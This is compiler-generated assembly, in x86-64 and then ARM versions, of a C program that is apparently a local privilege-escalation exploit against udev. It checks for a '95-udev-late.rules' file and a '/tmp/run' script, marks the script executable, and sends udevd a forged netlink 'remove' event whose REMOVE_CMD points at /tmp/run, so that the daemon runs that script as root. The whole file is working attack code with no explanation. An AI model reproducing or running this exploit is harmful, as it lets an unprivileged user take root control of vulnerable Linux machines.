	.file	"56575.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
	.align 8
.LC0:
	.string	"Pass the udevd netlink PID as an argument"
.LC1:
	.string	"[-] Error: %s\n"
.LC2:
	.string	"./95-udev-late.rules"
	.align 8
.LC3:
	.string	"Required 95-udev-late.rules not found"
.LC4:
	.string	"/tmp/run"
	.align 8
.LC5:
	.string	"/tmp/run does not exist, please create it"
.LC6:
	.string	"chmod +x /tmp/run"
.LC7:
	.string	"remove@/d"
.LC8:
	.string	"SUBSYSTEM=block"
.LC9:
	.string	"DEVPATH=/dev/foo"
.LC10:
	.string	"TIMEOUT=10"
.LC11:
	.string	"ACTION=remove"
.LC12:
	.string	"REMOVE_CMD=/tmp/run"
	.text
	.globl	main
	.type	main, @function
main:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 4096
	or	QWORD PTR [rsp], 0
	sub	rsp, 304
	mov	DWORD PTR -4388[rbp], edi
	mov	QWORD PTR -4400[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	cmp	DWORD PTR -4388[rbp], 1
	jg	.L2
	lea	rax, .LC0[rip]
	mov	QWORD PTR -4360[rbp], rax
	mov	rax, QWORD PTR -4360[rbp]
	mov	rsi, rax
	lea	rdi, .LC1[rip]
	mov	eax, 0
	call	printf@PLT
	mov	edi, 1
	call	exit@PLT
.L2:
	lea	rax, -4256[rbp]
	mov	rsi, rax
	lea	rdi, .LC2[rip]
	call	stat@PLT
	cmp	eax, -1
	jne	.L3
	lea	rax, .LC3[rip]
	mov	QWORD PTR -4360[rbp], rax
	mov	rax, QWORD PTR -4360[rbp]
	mov	rsi, rax
	lea	rdi, .LC1[rip]
	mov	eax, 0
	call	printf@PLT
	mov	edi, 1
	call	exit@PLT
.L3:
	lea	rax, -4256[rbp]
	mov	rsi, rax
	lea	rdi, .LC4[rip]
	call	stat@PLT
	cmp	eax, -1
	jne	.L4
	lea	rax, .LC5[rip]
	mov	QWORD PTR -4360[rbp], rax
	mov	rax, QWORD PTR -4360[rbp]
	mov	rsi, rax
	lea	rdi, .LC1[rip]
	mov	eax, 0
	call	printf@PLT
	mov	edi, 1
	call	exit@PLT
.L4:
	lea	rdi, .LC6[rip]
	call	system@PLT
	lea	rax, -4348[rbp]
	mov	edx, 12
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	WORD PTR -4348[rbp], 16
	mov	rax, QWORD PTR -4400[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -4344[rbp], eax
	mov	DWORD PTR -4340[rbp], 0
	lea	rax, -4348[rbp]
	mov	QWORD PTR -4320[rbp], rax
	mov	DWORD PTR -4312[rbp], 12
	lea	rax, -4336[rbp]
	mov	QWORD PTR -4304[rbp], rax
	mov	QWORD PTR -4296[rbp], 1
	mov	edx, 15
	mov	esi, 2
	mov	edi, 16
	call	socket@PLT
	mov	DWORD PTR -4372[rbp], eax
	lea	rcx, -4348[rbp]
	mov	eax, DWORD PTR -4372[rbp]
	mov	edx, 12
	mov	rsi, rcx
	mov	edi, eax
	call	bind@PLT
	lea	rax, -4112[rbp]
	mov	QWORD PTR -4368[rbp], rax
	mov	rax, QWORD PTR -4368[rbp]
	lea	rsi, .LC7[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	add	eax, 1
	cdqe
	add	QWORD PTR -4368[rbp], rax
	mov	rax, QWORD PTR -4368[rbp]
	lea	rsi, .LC8[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	add	eax, 1
	cdqe
	add	QWORD PTR -4368[rbp], rax
	mov	rax, QWORD PTR -4368[rbp]
	lea	rsi, .LC9[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	add	eax, 1
	cdqe
	add	QWORD PTR -4368[rbp], rax
	mov	rax, QWORD PTR -4368[rbp]
	lea	rsi, .LC10[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	add	eax, 1
	cdqe
	add	QWORD PTR -4368[rbp], rax
	mov	rax, QWORD PTR -4368[rbp]
	lea	rsi, .LC11[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	add	eax, 1
	cdqe
	add	QWORD PTR -4368[rbp], rax
	mov	rax, QWORD PTR -4368[rbp]
	lea	rsi, .LC12[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	add	eax, 1
	cdqe
	add	QWORD PTR -4368[rbp], rax
	lea	rax, -4112[rbp]
	mov	QWORD PTR -4336[rbp], rax
	lea	rdx, -4112[rbp]
	mov	rax, QWORD PTR -4368[rbp]
	sub	rax, rdx
	cdqe
	mov	QWORD PTR -4328[rbp], rax
	lea	rcx, -4320[rbp]
	mov	eax, DWORD PTR -4372[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	edi, eax
	call	sendmsg@PLT
	mov	eax, DWORD PTR -4372[rbp]
	mov	edi, eax
	call	close@PLT
	mov	eax, 0
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L6
	call	__stack_chk_fail@PLT
.L6:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"56575.c"
	.text
	.section	.rodata
	.align	2
.LC0:
	.ascii	"Pass the udevd netlink PID as an argument\000"
	.align	2
.LC1:
	.ascii	"[-] Error: %s\012\000"
	.align	2
.LC2:
	.ascii	"./95-udev-late.rules\000"
	.align	2
.LC3:
	.ascii	"Required 95-udev-late.rules not found\000"
	.align	2
.LC4:
	.ascii	"/tmp/run\000"
	.align	2
.LC5:
	.ascii	"/tmp/run does not exist, please create it\000"
	.align	2
.LC6:
	.ascii	"chmod +x /tmp/run\000"
	.align	2
.LC7:
	.ascii	"remove@/d\000"
	.align	2
.LC8:
	.ascii	"SUBSYSTEM=block\000"
	.align	2
.LC9:
	.ascii	"DEVPATH=/dev/foo\000"
	.align	2
.LC10:
	.ascii	"TIMEOUT=10\000"
	.align	2
.LC11:
	.ascii	"ACTION=remove\000"
	.align	2
.LC12:
	.ascii	"REMOVE_CMD=/tmp/run\000"
	.align	2
.LC13:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 4264
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #4224
	sub	sp, sp, #44
	sub	r3, fp, #4096
	sub	r3, r3, #12
	str	r0, [r3, #-164]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	str	r1, [r3, #-168]
	ldr	r3, .L7
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-164]
	cmp	r3, #1
	bgt	.L2
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	ldr	r3, .L7+4
	str	r3, [r2, #-148]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r1, [r3, #-148]
	ldr	r0, .L7+8
	bl	printf
	mov	r0, #1
	bl	exit
.L2:
	sub	r3, fp, #4160
	sub	r3, r3, #12
	sub	r3, r3, #32
	mov	r1, r3
	ldr	r0, .L7+12
	bl	stat
	mov	r3, r0
	cmn	r3, #1
	bne	.L3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	ldr	r3, .L7+16
	str	r3, [r2, #-148]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r1, [r3, #-148]
	ldr	r0, .L7+8
	bl	printf
	mov	r0, #1
	bl	exit
.L3:
	sub	r3, fp, #4160
	sub	r3, r3, #12
	sub	r3, r3, #32
	mov	r1, r3
	ldr	r0, .L7+20
	bl	stat
	mov	r3, r0
	cmn	r3, #1
	bne	.L4
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	ldr	r3, .L7+24
	str	r3, [r2, #-148]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r1, [r3, #-148]
	ldr	r0, .L7+8
	bl	printf
	mov	r0, #1
	bl	exit
.L4:
	ldr	r0, .L7+28
	bl	system
	sub	r3, fp, #4224
	sub	r3, r3, #12
	sub	r3, r3, #8
	mov	r2, #12
	mov	r1, #0
	mov	r0, r3
	bl	memset
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, #16
	strh	r2, [r3, #-136]	@ movhi
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-168]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	str	r2, [r3, #-132]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-128]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #4224
	sub	r3, r3, #12
	sub	r3, r3, #8
	str	r3, [r2, #-124]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #12
	str	r3, [r2, #-120]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #4224
	sub	r3, r3, #12
	sub	r3, r3, #16
	str	r3, [r2, #-116]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #1
	str	r3, [r2, #-112]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r4, r3
	mov	r2, #15
	mov	r1, #2
	mov	r0, #16
	bl	socket
	str	r0, [r4, #-156]
	sub	r3, fp, #4224
	sub	r3, r3, #12
	sub	r3, r3, #8
	sub	r2, fp, #4096
	sub	r2, r2, #12
	mov	r0, r2
	mov	r2, #12
	mov	r1, r3
	ldr	r0, [r0, #-156]
	bl	bind
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	str	r3, [r2, #-152]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r1, .L7+32
	ldr	r0, [r3, #-152]
	bl	sprintf
	mov	r3, r0
	add	r3, r3, #1
	mov	r1, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-152]
	add	r3, r3, r1
	str	r3, [r2, #-152]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r1, .L7+36
	ldr	r0, [r3, #-152]
	bl	sprintf
	mov	r3, r0
	add	r3, r3, #1
	mov	r1, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-152]
	add	r3, r3, r1
	str	r3, [r2, #-152]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r1, .L7+40
	ldr	r0, [r3, #-152]
	bl	sprintf
	mov	r3, r0
	add	r3, r3, #1
	mov	r1, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-152]
	add	r3, r3, r1
	str	r3, [r2, #-152]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r1, .L7+44
	ldr	r0, [r3, #-152]
	bl	sprintf
	mov	r3, r0
	add	r3, r3, #1
	mov	r1, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-152]
	add	r3, r3, r1
	str	r3, [r2, #-152]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r1, .L7+48
	ldr	r0, [r3, #-152]
	bl	sprintf
	mov	r3, r0
	add	r3, r3, #1
	mov	r1, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-152]
	add	r3, r3, r1
	str	r3, [r2, #-152]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r1, .L7+52
	ldr	r0, [r3, #-152]
	bl	sprintf
	mov	r3, r0
	add	r3, r3, #1
	mov	r1, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-152]
	add	r3, r3, r1
	str	r3, [r2, #-152]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	str	r3, [r2, #-144]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	ldr	r2, [r2, #-152]
	sub	r3, r2, r3
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	str	r2, [r3, #-140]
	sub	r3, fp, #4160
	sub	r3, r3, #12
	sub	r3, r3, #60
	sub	r2, fp, #4096
	sub	r2, r2, #12
	mov	r0, r2
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [r0, #-156]
	bl	sendmsg
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r0, [r3, #-156]
	bl	close
	mov	r3, #0
	ldr	r2, .L7
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L6
	bl	__stack_chk_fail
.L6:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L8:
	.align	2
.L7:
	.word	.LC13
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.word	.LC12
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
